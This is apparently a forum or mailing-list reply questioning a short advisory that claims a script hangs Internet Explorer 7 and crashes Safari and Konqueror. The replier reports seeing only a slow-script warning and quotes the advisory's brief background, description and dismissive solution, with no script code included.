Re: Internet Explorer Crash



Actually, I just get a message that says "A script on this page is causing Internet Explorer to run slowly." But my CPU usage for iexplore.exe is only at 20, and my system didn't slow down in the least. I went ahead and told IE to continue to run the script, and pops up again in a bit asking me the same thing. Finally bored, I say "no" and it immediately came up with "Goodbye" on the page.

If this actually makes Safari and Konqueror crash, why the "stop using Microsoft products" recommendation? At least IE is smart enough to tell me that your little "stupidInternetExploder" script is being pesky.

I. BACKGROUND
Why bother? Who doesn't know what Internet Explorer and Microsoft are.

II. DESCRIPTION
IE 7 is vulnerable to a script which causes the browser to hang. The
memory and CPU usage go through the roof. Originally the script caused
(and still causes) Safari and Konqueror to crash.

III SOLUTION
Stop using Microsoft products or deal with a new advisory every other
day.
